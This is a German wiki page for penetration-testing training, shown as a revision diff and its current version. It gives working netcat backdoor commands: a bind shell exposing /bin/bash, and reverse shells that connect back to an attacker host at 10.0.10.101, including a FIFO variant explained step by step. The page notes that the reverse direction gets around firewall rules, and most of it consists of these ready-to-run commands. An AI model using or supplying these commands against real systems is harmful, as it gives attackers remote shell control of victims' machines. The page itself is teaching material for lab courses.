Netcat Backdoor Linux: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(12 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
 +
=Linux=
 +
;Auf dem Opfer
 +
*apt-get install  netcat-traditional
 +
*update-alternatives --config nc
 +
;netcat-traditional auswählen (ist auf den Testmaschinen schon geschehen.)
  
=Linux=
 
 
==with netcat-traditional==
 
==with netcat-traditional==
 
;bind_tcp
 
;bind_tcp
Zeile 9: Zeile 13:
 
==with netcat-traditional==
 
==with netcat-traditional==
 
;reverse_tcp
 
;reverse_tcp
*root@offender:~# netcat -l -p 10002
+
*root@offender:~# netcat -l -v -p 10002
*root@victim:~# apt-get install  netcat-traditional
 
 
*root@victim:~# nc.traditional -c /bin/sh 10.0.10.101 10002
 
*root@victim:~# nc.traditional -c /bin/sh 10.0.10.101 10002
  
==with netcat-openbsd==
+
== Reverse Shell mit named pipe (FIFO) ==
VICTIM=10.1.1.1
+
 
OFFENDER=10.1.1.2
+
Dieser Befehl baut eine interaktive '''Reverse Shell''' auf, bei der eine named pipe (FIFO) anstelle der sonst üblichen Doppel-<code>nc</code>-Variante verwendet wird.
*root@victim:~# mkfifo /tmp/bp ; /bin/sh 0</tmp/bp | nc $OFFENDER  8668 1>/tmp/bp
+
 
*root@offender:~# nc -nvlp 8668
+
=== Befehl ===
listening on [any] 8668 ...
+
<syntaxhighlight lang="bash">
connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154
+
mkfifo /tmp/bp
 +
/bin/sh 0</tmp/bp | nc 10.0.10.101 8668 1>/tmp/bp
 +
</syntaxhighlight>
 +
 
 +
=== Funktionsweise ===
 +
 
 +
# '''<code>mkfifo /tmp/bp</code>'''<br>Erstellt eine named pipe (FIFO-Datei) unter <code>/tmp/bp</code>. Eine FIFO ist eine spezielle Datei, die als Kommunikationskanal zwischen zwei Prozessen dient: Was der eine hineinschreibt, kann der andere auslesen (Prinzip einer Warteschlange).
 +
# '''<code>/bin/sh 0</tmp/bp</code>'''<br>Startet eine Shell, deren Standardeingabe (stdin, Filedeskriptor <code>0</code>) aus der FIFO gelesen wird. Die Shell wartet also auf Befehle, die über die Pipe hereinkommen.
 +
# '''<code>| nc 10.0.10.101 8668</code>'''<br>Die Standardausgabe der Shell wird per Pipe an <code>nc</code> (netcat) weitergereicht, welches eine TCP-Verbindung zu <code>10.0.10.101</code> auf Port <code>8668</code> aufbaut und die Shell-Ausgabe dorthin sendet.
 +
# '''<code>1>/tmp/bp</code>'''<br>Das, was netcat vom entfernten Host empfängt (also Befehle vom Angreifer), wird zurück in die FIFO geschrieben — womit sich der Kreis schließt: Die Shell liest diese Befehle als Eingabe, führt sie aus, und die Ausgabe geht wieder über netcat hinaus.
 +
 
 +
=== Zusammenfassung ===
 +
Das Ergebnis ist eine funktionierende interaktive Shell auf dem Zielsystem, gesteuert über eine ausgehende Verbindung zu <code>10.0.10.101:8668</code>, wo der Angreifer z. B. mit
 +
 
 +
<syntaxhighlight lang="bash">
 +
nc -lvp 8668
 +
</syntaxhighlight>
 +
 
 +
lauscht. '''"Reverse"''' deshalb, weil die Verbindung vom Zielsystem '''zum''' Angreifer aufgebaut wird — nützlich, um restriktive Firewall-Regeln zu umgehen, die nur eingehende Verbindungen blockieren, ausgehende aber erlauben.
 +
 
 +
{{Hinweis|Dieser Befehl dient ausschließlich zu Demonstrations- und Übungszwecken im Rahmen von Penetration-Testing-Kursen (Kali, SOC/SIEM) in kontrollierten Laborumgebungen.}}

Aktuelle Version vom 11. August 2026, 10:42 Uhr

Linux

Auf dem Opfer
  • apt-get install netcat-traditional
  • update-alternatives --config nc
netcat-traditional auswählen (ist auf den Testmaschinen schon geschehen.)

with netcat-traditional

bind_tcp
  • root@victim:~# apt-get install netcat-traditional
  • root@victim:~# nc.traditional -l -p 10001 -e /bin/bash
  • root@offender:~# netcat 10.0.10.104 10001

with netcat-traditional

reverse_tcp
  • root@offender:~# netcat -l -v -p 10002
  • root@victim:~# nc.traditional -c /bin/sh 10.0.10.101 10002

Reverse Shell mit named pipe (FIFO)

Dieser Befehl baut eine interaktive Reverse Shell auf, bei der eine named pipe (FIFO) anstelle der sonst üblichen Doppel-nc-Variante verwendet wird.

Befehl

mkfifo /tmp/bp
/bin/sh 0</tmp/bp | nc 10.0.10.101 8668 1>/tmp/bp

Funktionsweise

  1. mkfifo /tmp/bp
    Erstellt eine named pipe (FIFO-Datei) unter /tmp/bp. Eine FIFO ist eine spezielle Datei, die als Kommunikationskanal zwischen zwei Prozessen dient: Was der eine hineinschreibt, kann der andere auslesen (Prinzip einer Warteschlange).
  2. /bin/sh 0</tmp/bp
    Startet eine Shell, deren Standardeingabe (stdin, Filedeskriptor 0) aus der FIFO gelesen wird. Die Shell wartet also auf Befehle, die über die Pipe hereinkommen.
  3. | nc 10.0.10.101 8668
    Die Standardausgabe der Shell wird per Pipe an nc (netcat) weitergereicht, welches eine TCP-Verbindung zu 10.0.10.101 auf Port 8668 aufbaut und die Shell-Ausgabe dorthin sendet.
  4. 1>/tmp/bp
    Das, was netcat vom entfernten Host empfängt (also Befehle vom Angreifer), wird zurück in die FIFO geschrieben — womit sich der Kreis schließt: Die Shell liest diese Befehle als Eingabe, führt sie aus, und die Ausgabe geht wieder über netcat hinaus.

Zusammenfassung

Das Ergebnis ist eine funktionierende interaktive Shell auf dem Zielsystem, gesteuert über eine ausgehende Verbindung zu 10.0.10.101:8668, wo der Angreifer z. B. mit

nc -lvp 8668

lauscht. "Reverse" deshalb, weil die Verbindung vom Zielsystem zum Angreifer aufgebaut wird — nützlich, um restriktive Firewall-Regeln zu umgehen, die nur eingehende Verbindungen blockieren, ausgehende aber erlauben.

ℹ️ Hinweis: Dieser Befehl dient ausschließlich zu Demonstrations- und Übungszwecken im Rahmen von Penetration-Testing-Kursen (Kali, SOC/SIEM) in kontrollierten Laborumgebungen.